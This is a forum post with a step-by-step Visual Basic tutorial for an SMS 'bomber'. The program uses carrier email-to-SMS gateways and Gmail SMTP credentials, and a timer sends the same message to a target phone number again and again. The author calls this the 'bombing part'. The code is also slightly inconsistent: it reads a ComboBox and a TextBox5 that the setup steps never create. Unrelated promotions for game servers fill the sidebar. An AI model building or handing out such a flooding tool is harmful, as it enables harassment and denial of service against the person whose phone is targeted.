Jump to content

Recommended Posts

Posted

 

As requested:

 

First, open Visual Basic 2010. Download from here http://www.microsoft.com/visualstudio/eng/downloads

 

Next, Make a new project, windows forms.

 

Then add :

 

4 Textboxes

6 Labels

1 Rich Text box

1 timer

2 buttons

and 1 listbox

From the Toolbox menu.

Click on 1 label and change it's text to Number, then put it by the first textbox.

Get another label and change it's text to Subject and put it by the 2nd textbox.

Get another label and change it's text to Username and put it by the 3rd textbox.

Another label, change text to Password and put it by 4th textbox.

Another label, change text to Message and put by Rich text box.

Finally, last label, put it by listbox and change text to carrier.

Click on the listbox, then click on the arrow by the listbox and select edit items.

Input the following:

 

@myboostmobile.com
@txt.att.net
@messaging.nextel.com
@vtext.com

Feel free to add more sms servers on new lines.

 

 

The code, which I will explain line by line, is here:

 

Imports System.Net.Mail
Imports System.Web
Imports System.IO

Public Class sms

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim EmailMessage As New MailMessage
Dim TheTelephoneNumber As String = TextBox1.Text
Dim MyCarrier As String = ComboBox1.SelectedItem.ToString()


EmailMessage.From = New MailAddress(TextBox3.Text)
EmailMessage.To.Add(TheTelephoneNumber + MyCarrier)
EmailMessage.Subject = (TextBox2.Text)
EmailMessage.Body = (RichTextBox1.Text)
EmailMessage.Priority = MailPriority.High

Dim SimpleSMTP As New SmtpClient
SimpleSMTP.Port = 587
SimpleSMTP.Host = "smtp.gmail.com"
SimpleSMTP.EnableSsl = True
SimpleSMTP.Credentials = New System.Net.NetworkCredential(TextBox3.Text, TextBox4.Text)
SimpleSMTP.Send(EmailMessage)
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
End Class

 

 

 

Imports System.Net.Mail
Imports System.Web
Imports System.IO

This imports everything that is needed.

 

Public Class sms

Declares the class name as sms.

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Declares when button1 is clicked, timer1 starts.

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim EmailMessage As New MailMessage
Dim TheTelephoneNumber As String = TextBox1.Text
Dim MyCarrier As String = ComboBox1.SelectedItem.ToString()


EmailMessage.From = New MailAddress(TextBox4.Text)
EmailMessage.To.Add(TheTelephoneNumber + MyCarrier)
EmailMessage.Subject = (TextBox2.Text)
EmailMessage.Body = (RichTextBox1.Text)
EmailMessage.Priority = MailPriority.High

Dim SimpleSMTP As New SmtpClient
SimpleSMTP.Port = 587
SimpleSMTP.Host = "smtp.gmail.com"
SimpleSMTP.EnableSsl = True
SimpleSMTP.Credentials = New System.Net.NetworkCredential(TextBox4.Text, TextBox5.Text)
SimpleSMTP.Send(EmailMessage)
End Sub

 

This is the actual bombing part.

First, it declares all the variables, then sets each textbox to a part of the email.

Finally, using gmail, sends the text. Now because this is a timer, it will do the code repeatedly.

 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
End Class

Declares that button2 will stop timer1 and ends the class.

 

Now run it by pressing f5 or clicking the play button at the top.

 

Tell me if you get any errors.

 

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Posts

    • The Time Has Come!    Tomorrow, L2DoubleDamage officially launches! Get ready for epic PvP battles, legendary rewards, and tons of action-packed features!    Opening Date: February 28, 2025  Opening Time by Country:  Greece: 20:00  Brazil: 15:00  Russia (Moscow): 21:00  Argentina: 15:00  Important Note: The donation weapons, armors, and jewelry will be closed for 2 days for the donors.   Key Features:  100% PvP Full Balance – No Pay to Win!  Ultra Stable – No Wipes, Long-Term Project!  Siege Castles: Giran, Aden, Rune  Giran Siege Reward: 100€ Real Money! (Every week after: 50€)  VIP Autofarm: x2 Drop & Name Color Change  6 Grand Bosses & 6 Special Grand Bosses!  Casino – Try Your Luck & Win Big!  Daily PvP Events – Show off your skills!  Enchant Rates: Safe +6, Max +25  JOIN NOW and prepare for the ultimate PvP experience! Check out the official links below:    Website: L2DoubleDamage  Discord: Join Here  Instagram: Follow Us  YouTube: Watch the Trailer  Facebook: Like Our Page  Get ready! The adventure begins tomorrow!    🚀 JOIN NOW & Experience the Best PvP Gameplay Ever! 🚀 🌐 Website: http://www.l2doubledamage.com/ 💬 Discord: https://discord.gg/l2doubledamage 📷 Instagram: https://www.instagram.com/l2doubledamage/ 📘 Facebook: https://www.facebook.com/profile.php?id=61573159438765&sk=about_contact_and_basic_info 📺 YouTube:  
    • 🔥 L2Custom.com - FRESH START/WIPE! 🔥 🗓️ Wipe/Open Date: 2025-03-01, 18:00 GMT+2 ⚔️ Chronicle: Interlude | Rates: High 🌟 Key Features: ✅ Custom Items – Enhanced PvP Experience ✅ Full Buffer – No Hassle, Just Action ✅ Olympiad (A-Grade Only) – Every Week ✅ Castle Sieges – Every Week 🚀 Fresh Start – Dominate from Day 1! Gather your clan, forge alliances, and prove your strength on the battlefield! 🌐 Join Now: www.l2custom.com 💥 Don’t miss out on the ultimate PvP experience! 💥
    • A new template is available: Ancient-World - Responsive HTML Template    
    • We are still taking new orders! Let us talk on Telegram!
    • Hello. Looking for bot for L2 Reborn x1 Origin. Some1? L2adrenaline dont work ;/
  • Topics

×
×
  • Create New...